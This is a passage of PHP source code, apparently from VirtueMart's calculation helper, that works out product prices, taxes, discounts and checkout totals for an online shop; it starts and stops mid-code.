the shopcurrency * 'basePriceWithTax' basePrice with Tax * 'discountedPrice' before Tax * 'priceWithoutTax' price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax * 'discountAmount' the "you save X money" * 'salesPrice' The final price, with all kind of discounts and Tax, except stuff that is only in the checkout * */ public function getProductPrices($product, $variant=0.0, $amount=0, $ignoreAmount=true, $currencydisplay=true) { $costPrice = 0; //We already have the productobject, no need for extra sql if (is_object($product)) { $costPrice = isset($product->product_price)? $product->product_price:0; $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $override = isset($product->override)? $product->override:0; $product_override_price = isset($product->product_override_price)? $product->product_override_price:0; $this->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $this->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $productVendorId = !empty($product->virtuemart_vendor_id)? $product->virtuemart_vendor_id:1; $this->setVendorId($productVendorId); $this->_cats = $product->categories; $this->_product = $product; $this->_product->amount = $amount; $this->productPrices = array(); if(!isset($this->_product->quantity)) $this->_product->quantity = 1; $this->_manufacturerId = !empty($product->virtuemart_manufacturer_id) ? $product->virtuemart_manufacturer_id:0; } //Use it as productId else { vmError('getProductPrices no object given query time','getProductPrices no object given query time'); } if(VmConfig::get('multix','none')!='none' and (empty($this->vendorCurrency) or $this->vendorCurrency!=$this->productVendorId)){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } $this->setCountryState($this->_cart); //For Profit, margin, and so on $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->productPrices['costPrice'] = $costPrice; $basePriceShopCurrency = $this->roundInternal($this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $costPrice,true)); //vmdebug('my pure $basePriceShopCurrency',$costPrice,$this->productCurrency,$basePriceShopCurrency); $basePriceMargin = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceShopCurrency)); $this->basePrice = $basePriceShopCurrency = $this->productPrices['basePrice'] = !empty($basePriceMargin) ? $basePriceMargin : $basePriceShopCurrency; if (!empty($variant)) { $basePriceShopCurrency = $basePriceShopCurrency + doubleval($variant); $this->productPrices['basePrice'] = $this->productPrices['basePriceVariant'] = $basePriceShopCurrency; } if (empty($this->productPrices['basePrice'])) { return $this->fillVoidPrices($this->productPrices); } if (empty($this->productPrices['basePriceVariant'])) { $this->productPrices['basePriceVariant'] = $this->productPrices['basePrice']; } $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $this->productPrices['basePrice'], true),'basePriceWithTax'); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); if(!empty($this->rules['VatTax'])){ $price = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $price,true),'basePriceWithTax'); } $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->productPrices['discountedPriceWithoutTax'] = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $this->productPrices['basePrice']),'discountedPriceWithoutTax'); if ($override==-1) { $this->productPrices['discountedPriceWithoutTax'] = $product_override_price; } $priceBeforeTax = !empty($this->productPrices['discountedPriceWithoutTax']) ? $this->productPrices['discountedPriceWithoutTax'] : $this->productPrices['basePrice']; $this->productPrices['priceBeforeTax'] = $priceBeforeTax; $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $priceBeforeTax, true),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $priceBeforeTax; $this->productPrices['taxAmount'] = $this->roundInternal($salesPrice - $priceBeforeTax); if(!empty($this->rules['VatTax'])){ $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $salesPrice; } $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $this->productPrices['salesPriceWithDiscount'] = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $salesPrice),'salesPriceWithDiscount'); // vmdebug('$$override salesPriceWithDiscount',$override,$this->productPrices['salesPriceWithDiscount'],$salesPrice); $this->productPrices['salesPrice'] = !empty($this->productPrices['salesPriceWithDiscount']) ? $this->productPrices['salesPriceWithDiscount'] : $salesPrice; $this->productPrices['salesPriceTemp'] = $this->productPrices['salesPrice']; //Okey, this may not the best place, but atm we handle the override price as salesPrice if ($override==1) { $this->productPrices['salesPrice'] = $product_override_price; // $this->productPrices['discountedPriceWithoutTax'] = $this->product_override_price; // $this->productPrices['salesPriceWithDiscount'] = $this->product_override_price; } else { } if(!empty($product->product_packaging) and $product->product_packaging!='0.0000'){ $this->productPrices['unitPrice'] = $this->productPrices['salesPrice']/$product->product_packaging; } else { $this->productPrices['unitPrice'] = 0.0; } if(!empty($this->rules['VatTax'])){ $this->_revert = true; $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $afterTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $this->productPrices['salesPrice']),'salesPrice'); if(!empty($afterTax)){ $this->productPrices['taxAmount'] = $this->productPrices['salesPrice'] - $afterTax; } $this->_revert = false; } // vmdebug('getProductPrices',$this->productPrices['salesPrice'],$this->product_override_price); //The whole discount Amount // $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['basePrice'] + $this->productPrices['taxAmount'] - $this->productPrices['salesPrice']); $basePriceWithTax = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; //changed // $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $salesPrice); if(empty($this->rules['DBTax'])){ $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $this->productPrices['salesPrice']) * -1; } else { $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['discountedPriceWithoutTax'] - $this->productPrices['basePriceVariant']) * -1; } //price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax // $this->productPrices['priceWithoutTax'] = $this->roundInternal($salesPrice - ($salesPrice - $discountedPrice)); // $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $this->productPrices['priceWithoutTax'] = $salesPrice - $this->productPrices['taxAmount']; if ($override==1 || $this->productPrices['discountedPriceWithoutTax'] == 0) { $this->productPrices['discountedPriceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; } if (!isset($this->productPrices['discountedPriceWithoutTax'])) $this->productPrices['discountedPriceWithoutTax'] = 0.0; $this->productPrices['variantModification'] = $variant; $this->productPrices['DBTax'] = array(); foreach($this->rules['DBTax'] as $dbtax){ $this->productPrices['DBTax'][$dbtax['virtuemart_calc_id']] = array($dbtax['calc_name'],$dbtax['calc_value'],$dbtax['calc_value_mathop'],$dbtax['calc_shopper_published'],$dbtax['calc_currency'],$dbtax['calc_params'], $dbtax['virtuemart_vendor_id'], $dbtax['virtuemart_calc_id']); } $this->productPrices['Tax'] = array(); foreach($this->rules['Tax'] as $tax){ $this->productPrices['Tax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id']); } $this->productPrices['VatTax'] = array(); foreach($this->rules['VatTax'] as $tax){ $this->productPrices['VatTax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id'],); } $this->productPrices['DATax'] = array(); foreach($this->rules['DATax'] as $datax){ $this->productPrices['DATax'][$datax['virtuemart_calc_id']] = array($datax['calc_name'],$datax['calc_value'],$datax['calc_value_mathop'],$datax['calc_shopper_published'],$datax['calc_currency'],$datax['calc_params'], $datax['virtuemart_vendor_id'], $datax['virtuemart_calc_id']); } if(!empty($this->rules['VatTax'])){ //vmdebug('!empty($this->rules["VatTax"]',$this->rules['VatTax']); if(empty($this->_cartData['VatTax'])){ $this->_cartData['VatTax'] = array(); } foreach($this->rules['VatTax'] as &$rule){ if(isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']])){ if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = 0.0; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = 0.0; } $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] += $this->productPrices['taxAmount'] * $this->_product->quantity; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] += $this->productPrices['salesPrice'] * $this->_product->quantity; } else { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']] = $rule; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = $this->productPrices['taxAmount'] * $this->_product->quantity; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = $this->productPrices['salesPrice'] * $this->_product->quantity; } //vmdebug('subtotal vattax id '.$rule['virtuemart_calc_id'].' = '.$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount']); } } // vmdebug('getProductPrices',$this->productPrices); return $this->productPrices; } public function calculateCostprice($productId,$data){ $this->_revert = true; //vmdebug('calculationh.php calculateCostprice ',$data); //vmSetStartTime('calculateCostprice'); if(empty($data['product_currency'])){ $this->_db->setQuery('SELECT * FROM #__virtuemart_product_prices WHERE `virtuemart_product_id`="' . $productId . '" '); $row = $this->_db->loadAssoc(); if ($row) { if (!empty($row['product_price'])) { $this->productCurrency = $row['product_currency']; $this->product_tax_id = $row['product_tax_id']; $this->product_discount_id = $row['product_discount_id']; } else { vmdebug('cost Price empty, if child, everything okey, this is just a dev note'); return false; } } } else { $this->productCurrency = $data['product_currency']; $this->product_tax_id = $data['product_tax_id']; $this->product_discount_id = $data['product_discount_id']; } $this->_db->setQuery('SELECT `virtuemart_vendor_id` FROM #__virtuemart_products WHERE `virtuemart_product_id`="' . $productId . '" '); $single = $this->_db->loadResult(); $this->productVendorId = $single; if (empty($this->productVendorId)) { $this->productVendorId = 1; } $this->_db->setQuery('SELECT `virtuemart_category_id` FROM #__virtuemart_product_categories WHERE `virtuemart_product_id`="' . $productId . '" '); $this->_cats = $this->_db->loadResultArray(); // vmTime('getProductPrices no object given query time','getProductCalcs'); if(VmConfig::get('multix','none')!='none' and empty($this->vendorCurrency )){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } //$this->setCountryState($this->_cart); $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $salesPrice = $data['salesPrice']; $withoutVatTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice)); $withoutVatTax = !empty($withoutVatTax) ? $withoutVatTax : $salesPrice; vmdebug('calculateCostprice',$salesPrice,$withoutVatTax, $data); $withDiscount = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $withoutVatTax)); $withDiscount = !empty($withDiscount) ? $withDiscount : $withoutVatTax; // vmdebug('Entered final price '.$salesPrice.' discount '.$withDiscount); $withTax = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $withDiscount)); $withTax = !empty($withTax) ? $withTax : $withDiscount; $basePriceP = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $withTax)); $basePriceP = !empty($basePriceP) ? $basePriceP : $withTax; $basePrice = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceP)); $basePrice = !empty($basePrice) ? $basePrice : $basePriceP; $productCurrency = CurrencyDisplay::getInstance(); $costprice = $productCurrency->convertCurrencyTo( $this->productCurrency, $basePrice,false); $this->_revert = false; //vmdebug('calculateCostprice',$salesPrice,$costprice, $data); return $costprice; } public function setRevert($revert){ $this->_revert = $revert; } protected function fillVoidPrices(&$prices) { if (!isset($prices['basePrice'])) $prices['basePrice'] = null; if (!isset($prices['basePriceVariant'])) $prices['basePriceVariant'] = null; if (!isset($prices['basePriceWithTax'])) $prices['basePriceWithTax'] = null; if (!isset($prices['discountedPriceWithoutTax'])) $prices['discountedPriceWithoutTax'] = null; if (!isset($prices['priceBeforeTax'])) $prices['priceBeforeTax'] = null; if (!isset($prices['taxAmount'])) $prices['taxAmount'] = null; if (!isset($prices['salesPriceWithDiscount'])) $prices['salesPriceWithDiscount'] = null; if (!isset($prices['salesPriceTemp'])) $prices['salesPriceTemp'] = null; if (!isset($prices['salesPrice'])) $prices['salesPrice'] = null; if (!isset($prices['discountAmount'])) $prices['discountAmount'] = null; if (!isset($prices['priceWithoutTax'])) $prices['priceWithoutTax'] = null; if (!isset($prices['variantModification'])) $prices['variantModification'] = null; if (!isset($prices['unitPrice'])) $prices['unitPrice'] = null; return $prices; } /** function to start the calculation, here it is for the invoice in the checkout * This function is partly implemented ! * * The function calls getProductPrices for every product except it is already known (maybe changed and adjusted with product amount value * The single prices gets added in an array and already summed up. * * Then simular to getProductPrices first the effecting rules are determined and calculated. * Ah function to determine the coupon that effects the calculation is already implemented. But not completly in the calculation. * * Subtotal + Tax + Discount = Total * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $productIds The Ids of the products * @param int $cartVendorId The Owner of the cart, this can be ignored in vm1.5 * @return int $prices An array of the prices * 'resultWithOutTax' The summed up baseprice of all products * 'resultWithTax' The final price of all products with their tax, discount and so on * 'discountBeforeTax' discounted price without tax which affects only the checkout (the tax of the products is in it) * 'discountWithTax' discounted price taxed * 'discountAfterTax' final result * */ // function getCheckoutPrices($productIds,$variantMods=array(), $cartVendorId=1,$couponId=0,$shipId=0,$paymId=0){ public function getCheckoutPrices($cart, $checkAutomaticSelected=true) { if(isset($this->_cartPrices) and is_array($this->_cartPrices) and count($this->_cartPrices)>0 and isset($this->_cartData['totalProduct']) and $this->_cartData['totalProduct']==count($cart->products) and $cart->couponCode == $this->couponCode and $checkAutomaticSelected ===$this->_checkAutomaticSelected ){ return $this->_cartPrices; } $this->_checkAutomaticSelected = $checkAutomaticSelected; $this->_cart = $cart; $this->couponCode = $cart->couponCode; $this->inCart = TRUE; $pricesPerId = array(); $this->_cartPrices = array(); $this->_cartData = array(); $resultWithTax = 0.0; $resultWithOutTax = 0.0; $this->_cartData['VatTax'] = array(); $this->_cartPrices['basePrice'] = 0; $this->_cartPrices['basePriceWithTax'] = 0; $this->_cartPrices['discountedPriceWithoutTax'] = 0; $this->_cartPrices['salesPrice'] = 0; $this->_cartPrices['taxAmount'] = 0; $this->_cartPrices['salesPriceWithDiscount'] = 0; $this->_cartPrices['discountAmount'] = 0; $this->_cartPrices['priceWithoutTax'] = 0; $this->_cartPrices['subTotalProducts'] = 0; $this->_cartData['duty'] = 1; $this->_cartData['payment'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartData['paymentName'] = ''; $cartpaymentTax = 0; $this->setCountryState($cart); $this->_amountCart = 0; $this->_cartData['totalProduct'] = count($cart->products); foreach ($cart->products as $name => $product) { //$product = $productModel->getProduct($product->virtuemart_product_id,false,false,true); $productId = $product->virtuemart_product_id; if (empty($product->quantity) || empty($product->virtuemart_product_id)) { JError::raiseWarning(710, 'Error the quantity of the product for calculation is 0, please notify the shopowner, the product id ' . $product->virtuemart_product_id); continue; } $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $variantmods = $this->parseModifier($name); $variantmod = $this->calculateModificators($product, $variantmods); $cartproductkey = $name; //$product->virtuemart_product_id.$variantmod; $product->prices = $pricesPerId[$cartproductkey] = $this->getProductPrices($product, $variantmod, $product->quantity, true, false); $this->_amountCart += $product->quantity; $this->_cartPrices[$cartproductkey] = $product->prices; if($this->_currencyDisplay->_priceConfig['basePrice']) $this->_cartPrices['basePrice'] += self::roundInternal($product->prices['basePrice'],'basePrice') * $product->quantity; // $this->_cartPrices['basePriceVariant'] = $this->_cartPrices['basePriceVariant'] + $pricesPerId[$product->virtuemart_product_id]['basePriceVariant']*$product->quantity; if($this->_currencyDisplay->_priceConfig['basePriceWithTax']) $this->_cartPrices['basePriceWithTax'] += self::roundInternal($product->prices['basePriceWithTax']) * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountedPriceWithoutTax']) $this->_cartPrices['discountedPriceWithoutTax'] += self::roundInternal($product->prices['discountedPriceWithoutTax'],'discountedPriceWithoutTax') * $product->quantity; if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices[$cartproductkey]['subtotal_with_tax'] = self::roundInternal($product->prices['salesPrice'],'salesPrice') * $product->quantity; $this->_cartPrices['salesPrice'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } if($this->_currencyDisplay->_priceConfig['taxAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_tax_amount'] = self::roundInternal($product->prices['taxAmount'],'taxAmount') * $product->quantity; $this->_cartPrices['taxAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_tax_amount']; } if($this->_currencyDisplay->_priceConfig['salesPriceWithDiscount']) $this->_cartPrices['salesPriceWithDiscount'] += self::roundInternal($product->prices['salesPriceWithDiscount'],'salesPriceWithDiscount') * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_discount'] = self::roundInternal($product->prices['discountAmount'],'discountAmount') * $product->quantity; $this->_cartPrices['discountAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_discount']; } if($this->_currencyDisplay->_priceConfig['priceWithoutTax']) { $this->_cartPrices[$cartproductkey]['subtotal'] = self::roundInternal($product->prices['priceWithoutTax'],'priceWithoutTax') * $product->quantity; $this->_cartPrices['priceWithoutTax'] += $this->_cartPrices[$cartproductkey]['subtotal']; } } $this->_product = null; $this->_cartData['DBTaxRulesBill'] = $this->gatherEffectingRulesForBill('DBTaxBill'); $this->_cartData['taxRulesBill'] = $this->gatherEffectingRulesForBill('TaxBill'); $this->_cartData['DATaxRulesBill'] = $this->gatherEffectingRulesForBill('DATaxBill'); $this->_cartPrices['salesPriceDBT'] = array(); $this->_cartPrices['taxRulesBill'] = array(); $this->_cartPrices['DATaxRulesBill'] = array(); foreach ($cart->products as $cartproductkey => $product) { //for Rules with Categories foreach($this->_cartData['DBTaxRulesBill'] as &$dbrule){ if(!empty($dbrule['calc_categories'])){ if(!isset($dbrule['subTotal'])) $dbrule['subTotal'] = 0.0; $set = array_intersect($dbrule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $dbrule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$dbrule['calc_name'].' is per category subTotal '.$dbrule['subTotal']); // subarray with subTotal for each taxID necessary to calculate tax correct if there are more than one VatTaxes if(!isset($dbrule['subTotalPerTaxID'])) $dbrule['subTotalPerTaxID'] = array(); if($product->product_tax_id != 0) { if(!isset($dbrule['subTotalPerTaxID'][$product->product_tax_id])) $dbrule['subTotalPerTaxID'][$product->product_tax_id] = 0.0; $dbrule['subTotalPerTaxID'][$product->product_tax_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } else { foreach($this->allrules[$product->virtuemart_vendor_id]['VatTax'] as $virtuemart_calc_id => $rule){ $set = array_intersect($rule['cats'],$product->categories); if(count($set)>0){ if(!isset($dbrule['subTotalPerTaxID'][$virtuemart_calc_id])) $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] = 0.0; $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } //} } } } // subTotal for each taxID necessary, equal if calc_categories exists ore not if(!empty($this->_cartData['taxRulesBill'])) { foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; if($product->product_tax_id != 0) { if($product->product_tax_id == $k) { $trule['subTotal']+= $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } elseif(!empty($trule['calc_categories'])){ $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); } } else { $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } /* foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!empty($trule['calc_categories'])){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); //} } } } */ foreach($this->_cartData['DATaxRulesBill'] as &$darule){ if(!empty($darule['calc_categories'])){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; $set = array_intersect($darule['calc_categories'],$product->categories); if(count($set)>0){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; //foreach($set as $s){ $darule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; //} } } } } // Calculate the discount from all rules before tax to calculate billTotal $cartdiscountBeforeTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'])); // We need the discount per category for each taxID to reduce the total discount before calculate percentage from hole cart discounts $categorydiscountBeforeTax = 0; foreach ($this->_cartData['DBTaxRulesBill'] as &$rule) { if (!empty($rule['subTotalPerTaxID'])) { foreach ($rule['subTotalPerTaxID'] as $k=>$DBTax) { $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'], $k, true)); if (!empty($this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'])) { $categorydiscountBeforeTax += $this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax']; } // vmdebug('$categorydiscountBeforeTax',$categorydiscountBeforeTax); } } } // combine the discounts before tax for each taxID foreach ($this->_cartData['VatTax'] as &$rule) { if (!empty($rule['DBTax'])) { $sum = 0; foreach ($rule['DBTax'] as $key=>$val) { $sum += $val; } $rule['DBTax'] = $sum; } } // calculate the new subTotal with discounts before tax, necessary for billTotal $toTax = $this->_cartPrices['salesPrice'] + $cartdiscountBeforeTax; //Avalara wants to calculate the tax of the shipment. Only disadvantage to set shipping here is that the discounts per bill respectivly the tax per bill // is not considered. $this->calculateShipmentPrice($cart, $checkAutomaticSelected); // next step is handling a coupon, if given $this->_cartData['vmVat'] = TRUE; $this->_cartPrices['salesPriceCoupon'] = 0.0; if (!empty($cart->couponCode)) { $this->couponHandler($cart->couponCode); } // now calculate the discount for hole cart and reduce subTotal for each taxRulesBill, to calculate correct tax, also if there are more than one tax rules $totalDiscountBeforeTax = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { if(!empty($rule['subTotal'])) { $rule['percentage'] = $rule['subTotal'] / $this->_cartPrices['salesPrice']; if (isset($this->_cartData['VatTax'][$k]['DBTax'])) { $rule['subTotal'] += $this->_cartData['VatTax'][$k]['DBTax']; } $rule['subTotal'] += $totalDiscountBeforeTax * $rule['percentage']; } } // now each taxRule subTotal is reduced with DBTax and we can calculate the cartTax $cartTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['taxRulesBill'], $toTax)); // toDisc is new subTotal after tax, now it comes discount afterTax and we can calculate the final cart price with tax. $toDisc = $toTax + $cartTax; $cartdiscountAfterTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DATaxRulesBill'], $toDisc)); $this->_cartPrices['withTax'] = $toDisc + $cartdiscountAfterTax; $this->calculatePaymentPrice($cart, $checkAutomaticSelected); // $sub =!empty($this->_cartPrices['discountedPriceWithoutTax'])? $this->_cartPrices['discountedPriceWithoutTax']:$this->_cartPrices['basePrice']; if($this->_currencyDisplay->_priceConfig['salesPrice']) $this->_cartPrices['billSub'] = $this->_cartPrices['basePrice'] + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; // $this->_cartPrices['billSub'] = $sub + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; if($this->_currencyDisplay->_priceConfig['discountAmount']) $this->_cartPrices['billDiscountAmount'] = $this->_cartPrices['discountAmount'] + $cartdiscountBeforeTax + $cartdiscountAfterTax;// + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'] ; if($this->_cartPrices['salesPriceShipment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPriceShipment']; if($this->_cartPrices['salesPricePayment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPricePayment']; if($this->_currencyDisplay->_priceConfig['taxAmount']) $this->_cartPrices['billTaxAmount'] = $this->_cartPrices['taxAmount'] + $this->_cartPrices['shipmentTax'] + $this->_cartPrices['paymentTax'] + $cartTax; //+ $this->_cartPrices['withTax'] - $toTax //The coupon handling is only necessary if a salesPrice is displayed, otherwise we have a kind of catalogue mode if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices['billTotal'] = $this->_cartPrices['salesPriceShipment'] + $this->_cartPrices['salesPricePayment'] + $this->_cartPrices['withTax'] + $this->_cartPrices['salesPriceCoupon']; if($this->_cartPrices['billTotal'] < 0){ $this->_cartPrices['billTotal'] = 0.0; } if($this->_cartData['vmVat'] and (!empty($cartdiscountBeforeTax) and isset($this->_cartData['VatTax']) and count($this->_cartData['VatTax'])>0) or !empty($cart->couponCode)){ //$this->_revert = true; $allTotalTax = 0.0; $totalDiscount = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; // vmdebug(' salesPriceCoupon = '. $this->_cartPrices['salesPriceCoupon'].' billDiscountAmount = '.$this->_cartPrices['billDiscountAmount']); foreach($this->_cartData['VatTax'] as &$vattax){ //$vattax['DBTax'] = var_dump(array_sum($vattax['DBTax'])); if (isset($vattax['subTotal'])) { $vattax['percentage'] = $vattax['subTotal'] / $this->_cartPrices['salesPrice']; } $vattax['DBTax'] = isset($vattax['DBTax']) ? $vattax['DBTax'] : 0; if (isset($vattax['calc_value']) && isset($vattax['percentage'])) { $vattax['discountTaxAmount'] = round(($totalDiscount * $vattax['percentage'] + $vattax['DBTax']) / (100 + $vattax['calc_value']) * $vattax['calc_value'],$this->_currencyDisplay->_priceConfig['taxAmount'][1]); } //$vattax['subTotal'] = $vattax['subTotal'] - $vattax['percentage'] * $totalDiscount; if (isset($vattax['discountTaxAmount'])) $this->_cartPrices['billTaxAmount'] += $vattax['discountTaxAmount']; $allTotalTax += $totalDiscount; //$this->_cartPrices['billTaxAmount'] += $vattax['subTotal']; //vmdebug('my vattax recalc data the percentage = '.$vattax['percentage'].' salesPrice = '.$this->_cartPrices['salesPrice'].' $totalDiscount = '. $totalDiscount.' subtotal = '.$vattax['subTotal']); } } if($this->_cartPrices['billTaxAmount'] < 0){ $this->_cartPrices['billTaxAmount'] = 0.0; } } //Calculate VatTax result if ($this->_cartPrices['shipment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['shipment_calc_id']]['shipmentTax'] = $this->_cartPrices['shipmentTax']; if ($this->_cartPrices['payment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['payment_calc_id']]['paymentTax'] = $this->_cartPrices['paymentTax']; foreach($this->_cartData['VatTax'] as $k=>&$vattax){ $vattax['result'] = isset($vattax['taxAmount']) ? $vattax['taxAmount'] : 0; if (isset($vattax['discountTaxAmount'])) $vattax['result'] += $vattax['discountTaxAmount']; if (isset($vattax['shipmentTax'])) $vattax['result'] += $vattax['shipmentTax']; if (isset($vattax['paymentTax'])) $vattax['result'] += $vattax['paymentTax']; if (!isset($vattax['virtuemart_calc_id'])) $vattax['virtuemart_calc_id'] = $this->getCalcRuleData($k)->virtuemart_calc_id; if (!isset($vattax['calc_name'])) $vattax['calc_name'] = $this->getCalcRuleData($k)->calc_name; if (!isset($vattax['calc_value'])) $vattax['calc_value'] = $this->getCalcRuleData($k)->calc_value; } foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { $this->_cartData['VatTax'][$k]['result'] = 